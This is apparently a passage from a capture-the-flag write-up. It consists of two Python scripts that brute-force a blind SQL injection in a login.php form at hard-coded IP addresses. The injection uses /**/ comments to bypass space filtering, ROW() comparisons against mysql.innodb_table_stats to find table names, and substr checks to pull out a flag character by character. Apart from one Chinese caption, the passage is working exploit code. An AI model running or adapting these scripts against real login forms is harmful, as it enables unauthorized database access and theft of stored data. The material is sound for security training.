import requests as req import binascii flag = '' url = "http://182.116.62.85:26571/login.php" def trans(a): a = binascii.b2a_hex(a.encode('utf-8')) return '0x'+str(a,'utf-8')
for i in range(1,500): hexstr = '' for char in range(32, 126): hexstr = trans(flag+ chr(char)) #fl11aag payload = "admin'/**/and/**/ROW('ctf',{},1,2,3,4)>(TABLE/**/mysql.innodb_table_stats/**/order/**/by/**/database_name/**/limit/**/1,1)#".format(hexstr) #payload = "admin'/**/and/**/({})=>binary(TABLE/**/ctf.fl11aag/**/limit/**/1,1)#".format(hexstr) datas = {"username":payload,"password":"admin"} r = req.post(url,data=datas) if("login success" in r.text): flag = flag + chr(char-1) print(flag) break
最后读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import requests url = 'http://139.129.98.9:30003/login.php' payload = 'admin\'and/**/substr((table/**/f11114g/**/limit/**/1,1),{},1)=\'{}\'#' passa='123' result = '' for j in range(1,500): for i in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}': py = payload.format(j,i) post_data = {'username': py,'password':passa} re = requests.post(url, data=post_data) if 'password' in re.text: result += i print(result) break